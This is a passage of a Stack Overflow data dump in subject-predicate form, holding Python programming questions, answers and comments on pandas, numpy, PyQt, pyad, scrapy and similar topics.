df.to_csv('scored_card_features.csv', index=False) end = time.time() print(end-start)
tagged with: multiprocessing
type: Question
has title: Python: How to Speed Up API Requests?
has comment: http://stackoverflow.com/comment/84384032
has comment: http://stackoverflow.com/comment/84383679
tagged with: pandas
tagged with: api

http://stackoverflow.com/comment/84551076
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48774098
has text: i not quite understand why it works but i will check it later on. I even dont know what the threading do. Thanks for edit. Selection is 0 if there is no highlighted option right?
score: 0

http://stackoverflow.com/comment/84297485
type: QuestionComment
has text: Use a list-of-lists...
comment on: http://stackoverflow.com/q/48649498
score: 0
type: Comment

http://stackoverflow.com/comment/84381396
type: Comment
type: QuestionComment
has text: pybitcointools is no longer maintained, so consider that.
comment on: http://stackoverflow.com/q/48691351
score: 0

http://stackoverflow.com/a/48794858
has body: Your problem is how you use pyad. Specifically in this line: pyad.adobject.ADObject.update_attribute(self='testuser1', attribute='mail', newvalue='my@email.com') if we look at the source of pyad.adobject.ADObject, we can see the following: def update_attribute(self, attribute, newvalue, no_flush=False): """Updates any mutable LDAP attribute for the object. If you are adding or removing values from a multi-valued attribute, see append_to_attribute and remove_from_attribute.""" if newvalue in ((),[],None,''): return self.clear_attribute(attribute) elif pyadutils.generate_list(newvalue) != self.get_attribute(attribute): self._set_attribute(attribute, 2, pyadutils.generate_list(newvalue)) if not no_flush: self._flush() self here is not a parameter of the function, it is a reference to the class instance. Your call includes self='testuser1' which is str. Please lookup the documentation on how to use this function / functionality / module, here. You will notice that there is no "self"... other than looking into the source code I am not sure how you got to the conclusion you needed self. I have no way of testing the following, but this is roughly how it should work: # first you create an instance of the object, based on # the distinguished name of the user object which you # want to change my_ad_object = pyad.adobject.ADObject.from_dn('the_distinguished_name') # then you call the update_attribute() method on the instance my_ad_object.update_attribute(attribute='mail', newvalue='my@email.com')
has comment: http://stackoverflow.com/comment/84592535
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84906610
has comment: http://stackoverflow.com/comment/84592625
type: Answer
has comment: http://stackoverflow.com/comment/84623465
accepted answer of: http://stackoverflow.com/q/48794251
answers question: http://stackoverflow.com/q/48794251
score: 0

http://stackoverflow.com/q/48686945
tagged with: pytorch
tagged with: python
has answer: http://stackoverflow.com/a/53126241
has answer: http://stackoverflow.com/a/59035272
accepted answer: http://stackoverflow.com/a/53126241
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48690064
has answer: http://stackoverflow.com/a/61093911
type: Question
has answer: http://stackoverflow.com/a/67370124
downvote count: 0
answer count: 6
favorite count: 0
has answer: http://stackoverflow.com/a/67815936
possible better answer: http://stackoverflow.com/a/48690064
upvote count: 51
has title: reshaping a tensor with padding in pytorch
has body: How do I reshape a tensor with dimensions (30, 35, 49) to (30, 35, 512) by padding it?
score: 51

http://stackoverflow.com/q/48735829
has title: Python: win32gui.GetPixel() fails when righ-clicking with mouse
type: UnansweredQuestion
tagged with: python
downvote count: 0
has comment: http://stackoverflow.com/comment/84510871
score: 1
tagged with: win32gui
has body: I need to track pixels on my screen very fast, but win32gui.GetPixel() is failing when I right-click with my mouse a few times. I managed to reproduce the same error right-clicking fast with the mouse anywhere on the screen while below code is running. CODE: import win32gui for j in range(50): for i in range(500): wid = win32gui.GetDesktopWindow() hdc = win32gui.GetWindowDC(wid) colour = win32gui.GetPixel(hdc, 10, 10) win32gui.ReleaseDC(wid, hdc) print(j*500 + i, wid, hdc, colour) ERROR: Traceback (most recent call last): File "&lt;ipython-input-5-cf83afe48fec&gt;", line 7, in &lt;module&gt; colour = win32gui.GetPixel(hdc, 10, 10) error: (0, 'GetPixel', 'No error message is available') When I don't right-click, the code works perfectly giving me the pixel colour. Using: Python 3.6.3 |Anaconda custom (64-bit)
tagged with: getpixel
type: Question
has comment: http://stackoverflow.com/comment/84486563
upvote count: 1
favorite count: 0
tagged with: python-3.x
answer count: 0

http://stackoverflow.com/comment/84519322
has text: My template: {% load static %}
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48742730

http://stackoverflow.com/a/48766069
has comment: http://stackoverflow.com/comment/84561516
has body: You said brute force is okay, so here we go: alphabet = 'abc' substring = 'ccc' n = 7 res = set() for combination in itertools.product(alphabet, repeat=n-len(substring)): # get the carthesian product of the alphabet such that we end up # with a total length of 'n' for the final combination for idx in range(len(combination)+1): res.add(''.join((*combination[:idx], substring, *combination[idx:]))) print(len(res)) Prints: 295 For a substring with no repetitions, like abc, I get 396 as result, so I assume it covers to corner case appropriately. That this is inefficient enough to make mathematicians weep goes without saying, but as long as your problems are small in length it should get the job done. Analytical approach The maximum number of combinations is given by the ways of unique ordered combinations of length n, given len(alphabet) = k symbols, which is k^n. Additionally, the 'substring' can be inserted into the combinations at any point, which leads to a total maximum of (n+1)*k^n. The latter only holds if the substring does not produce identical final combinations at any point, which makes this problem hard to compute analytically. So, the vague answer is your result will be somewhere between k^n and (n+1)*k^n. If you want to count the number of identical final combinations that include the substring, you can do so by counting the number of repetitions of the substring within a preliminary product: n = 6 pre_prod = 'abab' sub = 'ab' pre_prods = ['ababab', 'aabbab', 'ababab', 'abaabb', 'ababab'] prods = ['ababab', 'aabbab', 'abaabb'] # len(pre_prodd) - pre_prod.count(sub) -&gt; len(prods) aka 5 - 2 = 3 I will see if I can find a formula for that .. sometime soon.
has comment: http://stackoverflow.com/comment/84560821
type: Answer
answers question: http://stackoverflow.com/q/48765023
score: 2
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48765023
upvote count: 2
type: AcceptedAnswer

http://stackoverflow.com/comment/84294047
score: 1
comment on: http://stackoverflow.com/q/48648116
type: Comment
has text: @Alfe well I took the `np.gradient(logx)` as second argument there because we want the differences between the log values during the differentiation right?
type: QuestionComment

binary-tree
tag name: binary-tree
tags question: http://stackoverflow.com/q/48790542
type: Tag

http://stackoverflow.com/a/48732118
has body: Use python lookahead to ignore the string enclosed within curly brackets {}: Description: (?=...): Matches if ... matches next, but doesn’t consume any of the string. This is called a lookahead assertion. For example, Isaac (?=Asimov) will match 'Isaac ' only if it’s followed by 'Asimov'. Solution a = "10.147.48.10:8285/pet-store-account/**{pet-owner}**/version/**{pet-type-id}**/pet-details-and-name" import re re.sub(r"(?=[^{]*})-", "_", a) Output: '10.147.48.10:8285/pet-store-account/**{pet_owner}**/version/**{pet_type_id}**/pet-details-and-name'
score: 0
answers question: http://stackoverflow.com/q/48731715
type: Answer

http://stackoverflow.com/a/48714505
has body: Wouldn't you just use (assuming product_obj is not an actual list or dictionary) ... product_obj.quantity += 1
score: 2
has comment: http://stackoverflow.com/comment/84428180
downvote count: 0
answers question: http://stackoverflow.com/q/48714389
type: Answer
upvote count: 2

http://stackoverflow.com/comment/84555581
type: AnswerComment
score: 0
has text: Just a question, why does Option column turn to float?
type: Comment
comment on: http://stackoverflow.com/a/48776677

http://stackoverflow.com/a/48762546
has body: You can use numpy.roll: numpy.roll(B, -4) - A If you don't need to wrap around, you can use something like: &gt;&gt;&gt; B[4:] - A[:-4] array([0, 0, 0, 0, 0])
accepted answer of: http://stackoverflow.com/q/48762449
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84525489
has comment: http://stackoverflow.com/comment/84525520
type: Answer
upvote count: 3
answers question: http://stackoverflow.com/q/48762449
score: 3

http://stackoverflow.com/comment/84415114
type: QuestionComment
has text: @LightnessRacesinOrbit, ok, how chan I find out what library is?
score: 0
comment on: http://stackoverflow.com/q/48703423
type: Comment

http://stackoverflow.com/q/48803425
has answer: http://stackoverflow.com/a/48804814
tagged with: arrays
has comment: http://stackoverflow.com/comment/85817685
has comment: http://stackoverflow.com/comment/84609989
score: -3
downvote count: 4
has comment: http://stackoverflow.com/comment/84611037
answer count: 1
has comment: http://stackoverflow.com/comment/84610554
has body: I'm running a lots of data we speak about 10-15 mil. multiply times in for loop, and i can found out of its my for loop there are slow eg. i disover the problem when i test 100 rows, then 1000 and then 25.000 rows every time i encrse my numbers of rows its taken much longer time to run. i'm using numpy today to calculate a lots of prices and its working perfect, so now i hit the wall with so much data there shut running multi time to restructuer the data befure i'm ready to return it to a final array/dict. a orther issue its when i run a for in a for loop, its taken much more time then a for ofc i need to run "for 1 rows * for 2 rows" my case is. 1.200.000 products price rules there can be hit (25-30 diff price rules) select the right price rule and do stuff based on htis rule restruter the data using for loop before using numpy calculate a price to the main product price by using numpy run the product pricerule group agenst 10-15 price groups for each product restructer the data and prepare in a for loop before using numpy append the price to main product price array in for loop restruter all data and prepare to return it in my array/dict so i can use it later (single / multi product calc) hope you understand what i want, and why this will take so much time, and hope there are one there can help me to find a faster way to calculate so much data in. i have thinking on multitread option, but i think i need to fix the main-for-loop issue before i go to the next performance setup a very basic sample of my case how to hit this loop in a loop hell import datetime start_time = datetime.datetime.now() product = [] group = [] final_collect = [] for test_product in range(25000): product.append({'title': test_product}) for (inx, item) in enumerate(product): group.append({ 'product' : item, 'group-data' : [] }) for test_group in range(10): group[inx]['group-data'].append({'group' : test_group, 'price' : 100.0}) print(inx, test_group) as you can see this one will take around 2-…
accepted answer: http://stackoverflow.com/a/48804814
has comment: http://stackoverflow.com/comment/84623713
has comment: http://stackoverflow.com/comment/84610914
has title: python - huge for loop is to slow, are there a faster way to handle it
favorite count: 0
has comment: http://stackoverflow.com/comment/84609597
tagged with: bigdata
tagged with: python
has comment: http://stackoverflow.com/comment/84611064
has comment: http://stackoverflow.com/comment/84614461
has comment: http://stackoverflow.com/comment/84609882
has comment: http://stackoverflow.com/comment/84609690
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84609996
upvote count: 1
has comment: http://stackoverflow.com/comment/84609530
has comment: http://stackoverflow.com/comment/84613068
has comment: http://stackoverflow.com/comment/84609749
type: Question
tagged with: numpy

http://stackoverflow.com/comment/89011370
type: QuestionComment
has text: Try IBM open source data science tools(cognitiveclass.ai) as they also have a free GPU with jupyter notebooks.
type: Comment
comment on: http://stackoverflow.com/q/48750199
score: 3

http://stackoverflow.com/comment/84555999
has text: @SanchitAnand _You have to declare your array as type float64._ Don't you think that's something worth mentioning in your answer?
comment on: http://stackoverflow.com/a/48776987
type: AnswerComment
type: Comment
score: 1

http://stackoverflow.com/comment/84511193
type: QuestionComment
has text: @Bill -- I will need to create a generic example to upload.
score: 0
comment on: http://stackoverflow.com/q/48747096
type: Comment

http://stackoverflow.com/q/48798466
accepted answer: http://stackoverflow.com/a/48798494
favorite count: 0
has body: Right now, my code will return the rows that meet the condition in my function. How can I instead return all original rows and flag a new column ('GreaterDate) if the condition is true? df = pd.DataFrame({'KEY': ['100000003', '100000009', '100000009', '100000009', '100000009','100000034','100000034', '100000034'], 'Date1': [20120506, 20120506, 20120507,20120608,20120620,20120206,20120306,20120506], 'Date2': [20120528, 20120507, 20120615,20120629,20120206,20120305,20120506,20120506]}) def date_compare(df): date_before = df['Date1'].shift(-1) value = df[df['Date2'] == date_before] return value dftest = df.groupby('KEY').apply(date_compare) dftest This returns two true values. Date1 Date2 KEY KEY 100000009 1 20120506 20120507 100000009 100000034 6 20120306 20120506 100000034 I've tried using dftest['GreaterDate'] = df.groupby('KEY').apply(date_compare) but that doesn't work. Im not so interested in the date function working, I merely used this function as an example. I am more interested in how to use apply on a groupby in order to add a new column with True or False.
upvote count: 2
tagged with: python
has title: Pandas: How to flag a column with groupy & apply()
type: AnsweredQuestion
type: Question
has answer: http://stackoverflow.com/a/48798494
score: 2
downvote count: 0
tagged with: pandas-groupby
tagged with: pandas
answer count: 1

http://stackoverflow.com/comment/84377553
type: Comment
has text: See my updated answer. If you've added it to the layout correctly it should expand vertically. If your intended behaviour is for the buttons to expand to fill the available space then you'll want to remove the `QSpacerItem` in `Menu`. Also make sure you've addressed the issue pointed out above by @G.M.
comment on: http://stackoverflow.com/a/48666214
type: AnswerComment
score: 0

http://stackoverflow.com/comment/84350916
has text: It's not the correct expected output it's just the format :P
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48666246

http://stackoverflow.com/comment/84417952
type: AnswerComment
score: 0
has text: thank you for your help. As said I'm new in it and I do not know how to install selenium in a notebook for python 2 any advices?
type: Comment
comment on: http://stackoverflow.com/a/48695978

http://stackoverflow.com/comment/84578223
type: QuestionComment
has text: Then you probably need to configure your anaconda to use the proxy correctly. Mabe this will help: https://conda.io/docs/user-guide/configuration/use-condarc.html#config-proxy
comment on: http://stackoverflow.com/q/48787209
score: 0
type: Comment

http://stackoverflow.com/comment/84290183
type: QuestionComment
score: 0
has text: @Szabolcs: Thanks for the tip! I'll definitely look into it
comment on: http://stackoverflow.com/q/48646126
type: Comment

http://stackoverflow.com/a/48656224
upvote count: 2
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/48656047
type: Answer
accepted answer of: http://stackoverflow.com/q/48656047
has body: First thing when you are printing "Hello Peter" You should write string_world = str_replace("World", "Peter", "Hello World!") Please check your question. For String replace in Python, use something like this: str = "Hello World" print str.replace("World", "Peter") print str.replace("World", "Peter", 1) #Parameters: str.replace(find, replace, count)
score: 2
downvote count: 0

http://stackoverflow.com/a/48778633
type: Answer
has body: You were close. instead of checking for equality with type, use 'is'. You can also do isinstance() as pointed out in the comments to check for inheritance and subclasses of str/int. sample_list = ['buford', 1, 'henley', 2, 'emi', 3] newlist = [] for s in sample_list: if type(s) is int: newlist.append(s + 100) elif type(s) is str: newlist.append(s + ' is the name') else: newlist.append(s) newlist2 = [] for s in sample_list: if isinstance(s, int): newlist2.append(s + 100) elif isinstance(s, str): newlist2.append(s + ' is the name') else: newlist2.append(s) print(newlist) print(newlist2)
has comment: http://stackoverflow.com/comment/84558910
score: 1
accepted answer of: http://stackoverflow.com/q/48778584
upvote count: 1
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/48778584

http://stackoverflow.com/comment/84552380
type: QuestionComment
type: Comment
has text: We have those in the control group and those in the treatment group. I want to find out how many who were in the control group are also in the convert group, for example. A row of data would read like: id,control,convert OR id,control,old OR id,treatment,convert etc
comment on: http://stackoverflow.com/q/48775206
score: 0

http://stackoverflow.com/q/48653563
accepted answer: http://stackoverflow.com/a/48653616
answer count: 2
score: 3
linked to: http://stackoverflow.com/q/11367902
downvote count: 0
has answer: http://stackoverflow.com/a/48653615
linked to: http://stackoverflow.com/q/509211
favorite count: 0
possible better answer: http://stackoverflow.com/a/48653615
tagged with: python
has title: Replacing value in text file column with string
type: AnsweredQuestion
tagged with: list
has body: I'm having a pretty simple issue. I have a dataset (small sample shown below) 22 85 203 174 9 0 362 40 0 21 87 186 165 5 0 379 32 0 30 107 405 306 25 0 756 99 0 6 5 19 6 2 0 160 9 0 21 47 168 148 7 0 352 29 0 28 38 161 114 10 3 375 40 0 27 218 1522 1328 114 0 1026 310 0 21 78 156 135 5 0 300 27 0 The first issue I needed to cover was replacing each space with a comma I did that with the following code import fileinput with open('Data_Sorted.txt', 'w') as f: for line in fileinput.input('DATA.dat'): line = line.split(None,8) f.write(','.join(line)) The result was the following 22,85,203,174,9,0,362,40,0 21,87,186,165,5,0,379,32,0 30,107,405,306,25,0,756,99,0 6,5,19,6,2,0,160,9,0 21,47,168,148,7,0,352,29,0 28,38,161,114,10,3,375,40,0 27,218,1522,1328,114,0,1026,310,0 21,78,156,135,5,0,300,27,0 My next step is to grab the values from the last column, check if they are less than 2 and replace it with the string 'nfp'. I'm able to seperate the last column with the following for line in open("Data_Sorted.txt"): columns = line.split(',') print columns[8] My issue is implementing the conditional to replace the value with the string and then I'm not sure how to put the modified column back into the original dataset.
has answer: http://stackoverflow.com/a/48653616
upvote count: 3
type: Question
tagged with: if-statement

http://stackoverflow.com/comment/84535251
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/48767399
has text: post the code you have
type: Comment

http://stackoverflow.com/comment/84531814
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48765721
score: 3
has text: It's easier to help if you post your code

http://stackoverflow.com/comment/84456958
has text: @rakesh I tried raw_input doesn't work with python 3
type: Comment
comment on: http://stackoverflow.com/a/48728917
score: 0
type: AnswerComment

http://stackoverflow.com/comment/84301437
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48650353
has text: @MarkRansom: As specified by the IEEE 754 standard, those digits are exactly correct. They show the represented value exactly (or, if fewer digits are printed, correctly rounded), if the implementation conforms to IEEE 754. The error in the example you show occurs in the division, not in the printing or the representation. This distinction is important for analyzing and designing floating-point operations. Treating the error as in the representation rather than the operation leads to incorrect expectations or models of computation.

http://stackoverflow.com/q/48768650
possible better answer: http://stackoverflow.com/a/48768953
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48768953
type: Question
has title: Groupby sum and count on multiple columns in python
upvote count: 15
linked to: http://stackoverflow.com/q/48785833
has answer: http://stackoverflow.com/a/48769126
downvote count: 0
has comment: http://stackoverflow.com/comment/84537917
score: 15
tagged with: python-2.7
tagged with: pandas-groupby
tagged with: pandas
has answer: http://stackoverflow.com/a/67869759
tagged with: python
has body: I have a pandas dataframe that looks like this ID country month revenue profit ebit 234 USA 201409 10 5 3 344 USA 201409 9 7 2 532 UK 201410 20 10 5 129 Canada 201411 15 10 5 I want to group by ID, country, month and count the IDs per month and country and sum the revenue, profit, ebit. The output for the above data would be: country month revenue profit ebit count USA 201409 19 12 5 2 UK 201409 20 10 5 1 Canada 201411 15 10 5 1 I have tried different variations of groupby, sum and count functions of pandas but I am unable to figure out how to apply groupby sum and count all together to give the result as shown. Please share any ideas that you might have. Thanks!
answer count: 4
favorite count: 0
tagged with: python-3.x
accepted answer: http://stackoverflow.com/a/48769126
has answer: http://stackoverflow.com/a/74380045

http://stackoverflow.com/comment/84295258
has text: Add more data and show an sample output with grouping of six, please.
comment on: http://stackoverflow.com/q/48648773
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/48785837
score: 0
tagged with: python
has body: I am giving a wrong input and I want an exception to be raised. Somehow this is not happening. This is my unit test code: def test_invalid_bag_json_conversion_1(self): file_name = "../test/test_files/wrong_bag.bag" ru = RosbagUploader(file_name, self.json_output, "", "", "", "") status = ru.start() self.assertRaises(Exception, RosbagUploader, file_name, self.json_output, "", "", "", "") self.assertEquals(ReturnCodes.FAIL, status) and my code that I am testing: class RosbagUploader(object): """ @brief Uploads deserialized input Rosbag file to ElasticSearch or stores it locally """ def __init__(self, _rosbag_filepath, _json_filename, _es_addr, _es_index, _es_type, _buffer_size): self.overall_status = ReturnCodes.SUCCESS self._rosbag_filepath = _rosbag_filepath self._json_filename = _json_filename self._buffer_size = _buffer_size if _buffer_size &gt; 0 else 5000 self._es_type = _es_type self._es_addr = _es_addr self._es_index = _es_index self._es_buff = [] try: self._rosbag = rosbag.Bag(_rosbag_filepath, "r") if self._es_addr: self._es = Elasticsearch() if _es_addr == "" else \ Elasticsearch([_es_addr]) self._total_num_record = self._rosbag.get_message_count() except: print("[ERROR] {}".format(sys.exc_info())) self.overall_status = ReturnCodes.FAIL It shows the output that the exception is raised as below: [ERROR] (&lt;class 'rosbag.bag.ROSBagException'&gt;, ROSBagException(), &lt;traceback object at 0x7fdcb463e8c0&gt;) EException AttributeError: "'RosbagUploader' object has no attribute '_rosbag'" in &lt;bound method RosbagUploader.__del__ of &lt;rosbag_deserializer_core.RosbagUploader object at 0x7fdcb4899ad0&gt;&gt; ignored Which is what it should do. But why doesnt it raise the exception?
accepted answer: http://stackoverflow.com/a/48786140
tagged with: unit-testing
type: AnsweredQuestion
has title: Exception not raised assertRaises()?
has answer: http://stackoverflow.com/a/48786096
type: Question
answer count: 2
possible better answer: http://stackoverflow.com/a/48786096
has answer: http://stackoverflow.com/a/48786140

http://stackoverflow.com/comment/84362169
score: 2
has text: median filter is usually good for THIS kind of noise where the surrounding pixels are white (salt and pepper noise). The little noise, probably you will have to filter in other ways, like eroding dilating, just remember that blurring (with gaussian) may make the points bigger and wont have a good effect and will also blur the letters
comment on: http://stackoverflow.com/q/48681465
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84303188
comment on: http://stackoverflow.com/q/48652496
score: 2
has text: 1st item of list isn't equals to 2nd, so how do you see your `dict`? Please post reqiured output for your example.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84436377
has text: You only told to improve the question. This time I tried to be Specific and one point
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48718675

http://stackoverflow.com/q/48745529
tagged with: bokeh
tagged with: plot
type: Question
tagged with: graph
has answer: http://stackoverflow.com/a/48751345
accepted answer: http://stackoverflow.com/a/48751345
score: 0
has body: The first column contains names and the second column contains values. how can I plot it using bokeh. here is a code below that plots in matlabplot new_rf = pd.Series(rf.feature_importances_,index=x.columns).sort_values(ascending=False) new_rf[:5] such that x will take the variable name and y will take the value p =figure() p.vbar( x = new_rf[:5].index, #here will be the feature name top = new_rf[:5].values, #here will be feature_importance weight ) This just gives me an empty plot
answer count: 1
has title: How to plot the top 5 values in 'pandas.core.series.Series' in Bokeh?
tagged with: python
type: AnsweredQuestion

http://stackoverflow.com/a/53990110
score: 3
upvote count: 3
has body: The is part of MacOSX's versioning system. Your actual Python executable is at /System/Library/Frameworks/Python.framework/Versions/2.7/bin/python2.7. /usr/bin/python is a wrapper which chooses which python version to use based on the version specified in the com.apple.versioner.python.plist property list file and VERSIONER_PYTHON_VERSION environmental variable, amongst others. Perl works in the same way. It's designed to allow users to choose between the versions of python and perl which come with the operating system, although as of macOS version 10.14.2 (mojave), only one version of each is installed. If you did have more than one version of Python installed you could change the default version with the following command: defaults write com.apple.versioner.python Version -string 2.7.10 or export VERSIONER_PYTHON_VERSION=2.7.10 This is just an example, it assume version 2.7.10 is installed. The above only applies to programs included in the OS by Apple, not to versions installed via Homebrew or MacPorts, downloaded or compiled yourself. Sources: http://krypted.com/mac-os-x/perl-control/ and https://gist.github.com/crankycoder/1389144
answers question: http://stackoverflow.com/q/48740260
downvote count: 0
type: Answer

http://stackoverflow.com/comment/84600660
type: QuestionComment
has text: I don't know I found the code at [link](https://stackoverflow.com/questions/8316176/insert-list-into-my-database-using-python)
comment on: http://stackoverflow.com/q/48798939
score: 0
type: Comment

http://stackoverflow.com/comment/84620399
has text: Yes, that's why I suggested a solution that only creates one connection per worker, not one per request.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48804355
score: 0

http://stackoverflow.com/comment/84470908
comment on: http://stackoverflow.com/a/48735473
has text: I added the variables to the exclude list, see answer above.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/84382056
score: 0
has text: I'm using application default credentials in my python script. Like here: `from google.cloud import bigquery client = bigquery.Client() query = "SELECT * FROM tablename LIMIT 5" query_job = client.query(query) rows = query_job.result() for row in rows: print(row.name)`
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48672690

http://stackoverflow.com/q/48791788
type: Question
has comment: http://stackoverflow.com/comment/84586180
has title: Send string to URL (target IP)
answer count: 1
has comment: http://stackoverflow.com/comment/84585949
tagged with: url
tagged with: string
score: 0
has body: I have a string URL that I want to send or "post" to a target IP. I've tried using the requests library but I keep getting errors. import requests data = {'http://192.168.0.1/mobile/write.fcgi? serverId=1'} r = requests.post('http://192.168.0.1', data=data) The error says a bytes-like object is required, not 'str'. How can I send this string to the IP 192.168.0.1 (local host): http://192.168.0.1/mobile/write.fcgi?serverId=1
tagged with: python
has comment: http://stackoverflow.com/comment/84585724
has comment: http://stackoverflow.com/comment/84586463
tagged with: python-3.x
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84585727
tagged with: python-requests
has answer: http://stackoverflow.com/a/48792520
linked to: http://stackoverflow.com/q/7585435

reindex
tag name: reindex
tags question: http://stackoverflow.com/q/48745033
tags question: http://stackoverflow.com/q/48694563
type: Tag

http://stackoverflow.com/comment/84293925
score: 0
type: AnswerComment
has text: Right, all counts had to add up to n. I would've gotten this if I was given the time I thought I had...oh well
type: Comment
comment on: http://stackoverflow.com/a/48647735

http://stackoverflow.com/q/48768027
favorite count: 0
tagged with: python-3.x
upvote count: 2
tagged with: python
has answer: http://stackoverflow.com/a/48769927
score: 2
type: AnsweredQuestion
has body: I'm trying the following code to check if elements of numpy array are found in another 'b' list but i get the following error The truth value of an array with more than one element is ambiguous. Use a.any() or a.all() i tried looking it up but couldn't get it to work how to use a.all() or other methods like numpy.logical_and in this example import numpy as np a=np.array([[0,0,0,0,1,0,1,1,0],[0,0,0,0,0,1,1,1,0],[0,0,0,0,0,0,1,1,1]]) b=[] for item in a : if item not in b: b.append(item)`
type: Question
tagged with: numpy
tagged with: arrays
has answer: http://stackoverflow.com/a/48768217
accepted answer: http://stackoverflow.com/a/48768217
has title: comparing Numpy arrays raises a.any() or a.all() error
possible better answer: http://stackoverflow.com/a/48769927
answer count: 2
downvote count: 0

http://stackoverflow.com/comment/84469887
type: AnswerComment
comment on: http://stackoverflow.com/a/48734435
score: 0
type: Comment
has text: @Gru26 You need to use an optimization routine to solve optimization problems. There are many python packages for this purpose. `scipy.optimize` is a good place to start.

http://stackoverflow.com/q/48666843
downvote count: 0
score: 1
tagged with: tensorflow
type: Question
has title: LSTM parity generator
tagged with: lstm
has comment: http://stackoverflow.com/comment/84344507
has comment: http://stackoverflow.com/comment/84342782
upvote count: 1
accepted answer: http://stackoverflow.com/a/48673103
answer count: 1
tagged with: neural-network
tagged with: keras
has comment: http://stackoverflow.com/comment/84342149
has comment: http://stackoverflow.com/comment/84343186
favorite count: 0
has comment: http://stackoverflow.com/comment/84343447
has answer: http://stackoverflow.com/a/48673103
has body: I am trying to learn deep learning, I have stumbled on one exercise here It is first warm-up exercise. I am stuck. For constant sequence of small lengths(2,3) it solves it no problem. However when I try whole sequence of 50. it stops at 50% accuracy, which is basically random guess. According to here it is too big flat space ant cant find gradient to solve it. So i tried approach of continuously increasing length ans saving model each time (2,5,10,15,20,30,40,50).It seems it does not generalise well, as if i type bigger sequence then what I learned it on, it fails. According to here it should be easy problem. I cant figure it out. There is used some different LSTM architecture hoverer. And one solution here to exactly same problem says it works with Adagrad optimizer and learning rate of 0.5. I am unsure about one bit at time, if I am feeding it right in first place. I hope I got it right. And for variable length, i tried and failed miserably. Code: from keras.models import Sequential from keras.layers import Dense, Dropout, Activation, LSTM from keras.optimizers import SGD, Adagrad, Adadelta from keras.callbacks import TensorBoard from keras.models import load_model import numpy as np import time import os.path # building the model def build_model(): model = Sequential() model.add(LSTM( 32, input_shape=(None, 1), return_sequences=False)) model.add(Dropout(0.1)) model.add(Dense( 1)) model.add(Activation("sigmoid")) return model # generating random data def generate_data(num_points, seq_length): #seq_rand = np.random.randint(1,12) x = np.random.randint(2, size=(num_points, seq_length, 1)) y = x.sum(axis=1) % 2 return x, y X, y = generate_data(100000, 50) X_test, y_test = generate_data(1000, 50) tensorboard = TensorBoard(log_dir='./logs', histogram_freq=0, write_graph=True, write_images=False) if os.path.isfile('model.h5'): model = load_model('model.h5') else: model = build_model() opti = Adagrad(lr=0.5) model.compile(loss="mse", optimizer=opti, metrics=['binary_accur…
tagged with: python
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84343585

http://stackoverflow.com/q/48762429
has answer: http://stackoverflow.com/a/48762726
has title: Load own font in QT 5.10 with Python (PyQT 5.10)
accepted answer: http://stackoverflow.com/a/48762726
tagged with: qt
type: AnsweredQuestion
score: 2
has body: I try to load a own font in a Python application on CentOS 7 (Python 3.6.2) with QT 5.10 and PyQT 5.10 installed. I try it with the following code: id = QFontDatabase.addApplicationFont("/PATH/party.ttf") _fontstr = QFontDatabase.applicationFontFamilies(id).at(0) _font = QFont(_fontstr, 8) app.setFont(font) However, I receive: AttributeError: 'list' object has no attribute 'at' I checked that the font file is found, i.e., id != 1, its 0. Furthermore, I checked: print("%s." % (type(QFontDatabase.applicationFontFamilies(id)))) I expected the type to be QStringList as proposed by the manual (http://doc.qt.io/qt-5/qfontdatabase.html#applicationFontFamilies) but this seems to be not the case. I also cannot call other methods like removeDuplicates() without the error that there is no corresonding attribute in list.
type: Question
upvote count: 2
answer count: 1
downvote count: 0
tagged with: python
favorite count: 0
tagged with: c++
tagged with: pyqt5

http://stackoverflow.com/comment/84446770
has text: Is it '-i' or '-1'? Your parser definition requires a flagged argument.
comment on: http://stackoverflow.com/q/48723971
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/q/48771856
tagged with: ajax
has body: I'm trying to scrape projecteuler.net with python's scrapy library, just to make practice with it. I've seen online more than one existent implementation of such a scraper, but they seem just too much elaborated for me. I want simply to save the problems (titles, ids, contents) in a json and next loading with ajax in a local webpage on my pc. I'm implementing my solution that I will terminate anyway, but since I want to discover the smarter way to use the library, I'm asking you to propose the most intelligent programs with scrapy for doing this job (if you want to avoid the json way, and save directly in html... for me may be even better). This is my first approach (doesn't work): # -*- coding: utf-8 -*- import httplib2 import requests import scrapy from eulerscraper.items import Problem from scrapy.linkextractors import LinkExtractor from scrapy.loader import ItemLoader from scrapy.spiders import CrawlSpider, Rule def start_urls_detection(): # su = ['https://projecteuler.net/archives', 'https://projecteuler.net/archives;page=2'] # i = 1 # # while True: # request = requests.get(su[i]) # # if request.status_code != 200: # break # # i += 1 # su.append('https://projecteuler.net/archives;page=' + str(i + 1)) return ["https://projecteuler.net/"] class EulerSpider(CrawlSpider): name = 'euler' allowed_domains = ['projecteuler.net'] start_urls = start_urls_detection() rules = ( # Extract links matching 'category.php' (but not matching 'subsection.php') # and follow links from them (since no callback means follow=True by default). # Rule(LinkExtractor(allow=('category\.php',), deny=('subsection\.php',))), Rule(LinkExtractor(allow=('problem=\d*',)), callback="parse_problems"), Rule(LinkExtractor(allow=('archives;page=\d*',), unique=True), follow=True) ) def start_requests(self): # su = ['https://projecteuler.net/archives', 'https://projecteuler.net/archives;page=2'] # i = 1 # # while True: # request = requests.get(su[i]) # # if request.status_code != 200: 